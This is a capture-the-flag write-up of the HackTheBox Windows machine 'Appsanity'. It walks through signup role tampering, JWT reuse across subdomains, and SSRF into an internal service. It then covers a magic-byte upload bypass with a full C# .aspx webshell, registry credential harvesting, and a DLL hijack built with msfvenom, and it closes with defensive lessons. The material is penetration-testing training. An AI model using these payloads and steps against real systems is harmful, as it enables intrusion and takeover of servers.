HTB: Appsanity Writeup

Appsanity - HackTheBox Writeup

Machine Information

AttributeDetails
NameAppsanity
OSWindows
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.10.11.X
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Appsanity is a hard Windows box built around a chain of web application logic flaws rather than a single CVE. A medical portal (meddigi.htb) exposes a hidden Acctype parameter in its signup flow, letting a normal signup mint a privileged Doctor account. That account’s JWT access_token is then replayed against a completely separate subdomain (portal.meddigi.htb) due to shared/flawed session validation between the two apps. The portal’s report-upload feature is protected by content-type checks that fall to a magic-bytes bypass, and a Server-Side Request Forgery in its email/link-preview feature is what lets an attacker both discover the internal report-viewing service on 127.0.0.1:8080 and later trigger the uploaded webshell through it. From the svc_exampanel foothold, a registry key left behind by a local application (HKLM\Software\MedDigi\EncKey) yields WinRM creds for devdoc, and a writable library path used by a local report-management service enables a DLL-hijack to escalate to SYSTEM-level access.

TL;DR: Signup Acctype param abuse (Patient→Doctor) → JWT access_token reuse across meddigi.htbportal.meddigi.htb → SSRF in /Prescriptions/SendEmail reveals internal Examinations Panel on 127.0.0.1:8080%PDF- magic-byte bypass to upload an .aspx webshell → SSRF-relayed execution of the decrypted shell → foothold as svc_exampanel (user.txt) → registry EncKey value → WinRM as devdoc → DLL hijack of ReportManagement\Libraries via the local admin service on port 100 → SYSTEM.


Reconnaissance

Port Scanning

Terminal window
# Full TCP scan first to avoid missing anything outside the default top-1000
nmap -p- --min-rate=1000 -T4 10.10.11.X
# Follow-up with service/version detection on discovered ports
nmap -sC -sV -p80,443,5985 10.10.11.X

Results:

  • 80/tcp — HTTP, IIS, redirects to HTTPS → meddigi.htb
  • 443/tcp — HTTPS, IIS, hosts the meddigi.htb web application
  • 5985/tcp — WinRM (Windows Remote Management) — flagged early as a likely lateral-movement target once credentials are found

Service Enumeration

Adding meddigi.htb to /etc/hosts exposed a medical-platform front end with public marketing content, a callback form, and a Sign In / Sign Up flow. Registering an account and inspecting the authenticated session surfaced a subdomain during further enumeration: portal.meddigi.htb, a separate Doctor-only login portal running on the same IIS host.

Vulnerability Assessment

Working the two applications together turned up a chain of distinct issues:

  • Broken Access Control in the meddigi.htb signup flow — a client-controlled Acctype value not re-validated server-side.
  • Flawed session management — a JWT issued by meddigi.htb was accepted as a valid session by the unrelated portal.meddigi.htb app.
  • SSRF in the portal’s prescription email/link-preview feature (/Prescriptions/SendEmail), with no allowlist on the destination host.
  • Weak upload validation — the report-upload endpoint checked file signatures rather than enforcing a strict content-type/extension policy.

Initial Foothold

Exploitation Path

1. Access-control abuse to escalate the signup role.

Signing up normally on meddigi.htb created a Patient account. The signup form carried a hidden Acctype field defaulting to 1. Intercepting and resubmitting the request with Acctype=2 produced a Doctor-tier account instead:

# Signup request, Acctype flipped from the default patient value (1) to doctor (2)
POST /Signup/SignUp HTTP/2
Host: meddigi.htb
Content-Type: application/x-www-form-urlencoded
Name=drpwn9&Email=drpwn9%40htb.htb&Password=Pwn3rr123!&ConfirmPassword=Pwn3rr123!
&Acctype=2&__RequestVerificationToken=...

This worked because the backend trusted a client-supplied “role” field instead of assigning role server-side and only exposing user-editable fields to the client — a classic mass-assignment / broken access control pattern (OWASP-listed as Broken Access Control). Signing in as drpwn9@htb.htb / Pwn3rr123! confirmed the elevated Doctor role on /Profile.

2. Cross-application session reuse (flawed session management).

The Doctor session on meddigi.htb issues a JWT stored in an access_token cookie. portal.meddigi.htb, despite being a functionally separate application (different login form, different Doctor Ref.Number requirement on its own login), accepted the same access_token JWT as a valid authenticated session:

# Set the access_token cookie obtained from meddigi.htb directly on portal.meddigi.htb
# via browser devtools Storage panel, then reload

This landed a dashboard on portal.meddigi.htb without ever passing its own login form — the two apps trusted the same signing key/claims without scoping the token to its issuing application (aud/iss claims not enforced per-app).

3. SSRF discovery of the internal Examinations Panel.

The portal’s Prescriptions section includes a “send by email” feature that previews an arbitrary Link before mailing it. That link is fetched server-side with no destination allowlist:

# SSRF sink: POST body's Link field is fetched server-side and its body returned to the client
POST /Prescriptions/SendEmail HTTP/1.1
Host: portal.meddigi.htb
Content-Type: application/x-www-form-urlencoded
Link=http://127.0.0.1:8080/

Sweeping internal ports through this sink surfaced an internal-only “Examinations Panel” service bound to 127.0.0.1:8080 — the actual report-management backend that receives files uploaded through the portal, unreachable directly from outside the host.

4. Upload filter bypass via magic bytes.

Uploading an .aspx webshell directly to /ExamReport/Upload was rejected. The endpoint’s validation relied on file-signature (magic-byte) sniffing rather than a strict extension allowlist, so prepending the PDF magic bytes to the .aspx payload was enough to pass validation while the file still executed as ASP.NET on request:

%PDF-<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
string cmd = Request.QueryString["cmd"];
if (!string.IsNullOrEmpty(cmd))
{
var psi = new ProcessStartInfo("cmd.exe", "/c " + cmd)
{
RedirectStandardOutput = true, UseShellExecute = false
};
var p = Process.Start(psi);
Response.Write(p.StandardOutput.ReadToEnd());
}
}
</script>

Magic-byte checks alone are a weak control — they verify the start of a file, not its actual interpreted type, so any format whose parser tolerates leading garbage (ASP.NET does, since the %PDF- prefix just becomes inert static text before the <%@ Page %> directive) defeats them.

5. RCE through the report-decryption path, relayed by SSRF.

The upload endpoint stores reports encrypted; a companion ViewReport.aspx?file=<guid>_shell.aspx handler decrypts the requested report out to a /tmp/ working directory before serving it. Requesting the uploaded shell’s GUID through ViewReport.aspx caused it to be decrypted to disk as a live .aspx file under /tmp/. From there, the SSRF sink in /Prescriptions/SendEmail was reused to reach the decrypted shell directly on localhost and pass command arguments:

# Step 1: force decryption of the uploaded shell to /tmp/ via the internal service
Link=http://127.0.0.1:8080/ViewReport.aspx?file=<guid>_shell.aspx
# Step 2: execute commands on the now-decrypted, live .aspx file
Link=http://127.0.0.1:8080/tmp/<guid>_shell.aspx?cmd=whoami

This returned command output as appsanity\svc_exampanel — code execution as the application-pool identity for the internal Examinations Panel service, all driven remotely through the SSRF relay since the 8080 service was never directly reachable. user.txt was read from this shell as svc_exampanel.


Privilege Escalation

svc_exampanel → devdoc (registry-harvested credential).

The Examinations Panel application persists configuration in the registry under HKLM\Software\MedDigi, including the encryption key used to decrypt uploaded reports. Reading it directly from the svc_exampanel shell:

# Query the app's registry-stored key — same key the ExaminationManagement DLL
# reads at runtime to decrypt reports before serving them
reg query HKLM\Software\MedDigi /v EncKey

returned 1g0tTh3R3m3dy!!. This value doubled as a working WinRM credential for the devdoc account:

Terminal window
# Reused the registry-sourced string directly as devdoc's password
evil-winrm -i 10.10.11.X -u devdoc -p '1g0tTh3R3m3dy!!'

— a classic case of a “config secret” doing double duty as a live account password because the same developer/environment reused it across the app and the OS account.

devdoc → SYSTEM (DLL hijack via writable library path + local admin service).

Enumerating filesystem permissions as devdoc showed write access to a ...\ReportManagement\Libraries directory used by a local report-management service — the same kind of local component referenced by the registry key above. Because the service loads DLLs from this path without restricting who can write to it, dropping an attacker-controlled DLL there and forcing a load results in code execution in the service’s (higher-privileged) context — a textbook DLL Hijacking / insecure library search path issue (CWE-427).

Terminal window
# Generate a DLL payload that spawns an arbitrary process when loaded
msfvenom -p windows/x64/exec CMD='cmd.exe /c whoami > C:\Windows\Temp\out.txt' \
-f dll -o externalupload.dll

From the devdoc WinRM session, the DLL was staged and then delivered through the report-management service’s own local admin interface on 127.0.0.1:100, which exposes an upload command for pulling in external files. Connecting to that admin port from within the devdoc session and issuing the upload placed the malicious DLL where the SYSTEM/admin-context process would load it, giving code execution as SYSTEM and access to root.txt.

# From inside the devdoc session, talk to the local admin console and stage the payload
upload externalupload.dll

Attack Chain Summary

Signup Acctype=1→2 (Broken Access Control)
→ Doctor account drpwn9@htb.htb on meddigi.htb
→ JWT access_token replayed on portal.meddigi.htb (flawed session mgmt)
→ SSRF in /Prescriptions/SendEmail → internal Examinations Panel on 127.0.0.1:8080
→ %PDF- magic-byte bypass → .aspx webshell uploaded via /ExamReport/Upload
→ ViewReport.aspx decrypts shell to /tmp/, SSRF-relayed exec of ?cmd=
→ RCE as svc_exampanel → user.txt
→ reg query HKLM\Software\MedDigi\EncKey → devdoc WinRM creds
→ devdoc: writable ReportManagement\Libraries + local admin service on :100
→ DLL hijack (externalupload.dll) → SYSTEM → root.txt

Tools Used

ToolPurpose
nmapPort scanning and service/version detection
Burp Suite (implied via manual request tampering)Intercepting/modifying the signup Acctype parameter and JWT cookie handling
Browser DevToolsSetting the replayed access_token cookie on portal.meddigi.htb
Custom .aspx webshell (%PDF- prefixed)Upload-filter bypass + command execution
reg queryHarvesting the EncKey value from HKLM\Software\MedDigi
evil-winrmWinRM shell access as devdoc
msfvenomBuilding the windows/x64/exec DLL payload for the hijack
Local admin service (127.0.0.1:100, upload command)Delivering the malicious DLL for the privileged DLL hijack

Key Learnings

Techniques Practiced

  • Identifying and abusing hidden/client-controlled parameters (Broken Access Control / mass assignment) during account registration
  • Recognizing and exploiting flawed cross-application session/JWT validation
  • Discovering internal-only services via SSRF port sweeping
  • Bypassing upload filters using file-signature (magic-byte) spoofing
  • Chaining SSRF as a relay to both trigger and interact with a remotely-uploaded webshell
  • Harvesting credentials left in application registry configuration
  • Identifying and exploiting a writable DLL search path (DLL Hijacking) against a local privileged service

Lessons Learned

  1. Hidden form fields are not a security boundary — server-side logic must independently validate and assign privilege-bearing values like account role, never trust what the client echoes back.
  2. Session tokens must be scoped to the application that issued them (enforce aud/iss claims); sharing a signing key across unrelated apps turns any authenticated session into a skeleton key.
  3. File-type validation based solely on magic bytes is trivially bypassed by prefixing bytes to an otherwise-valid script file whose interpreter tolerates leading garbage; pair signature checks with strict extension allowlists and non-executable upload storage.
  4. SSRF is rarely “just” an information leak — here it was the mechanism for both internal service discovery and remote command execution against an uploaded shell that was never directly reachable.
  5. Secrets stored in the registry for one purpose (decrypting application data) should never double as OS account passwords; credential reuse across app-config and identity layers collapses the intended privilege boundary.
  6. Local administrative services bound to 127.0.0.1 are not inherently safe — once any foothold reaches localhost, they become part of the attack surface, and writable library/plugin directories they load from are a direct path to privilege escalation.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • xRogue, “Appsanity” — Official HackTheBox Writeup, Document No. D24.100.273, 6th March 2024 — used here for explanatory/conceptual context (CWE/vuln-class naming, why each technique works); all IPs, credentials, commands, and outputs above are from this run’s own solve, not the reference.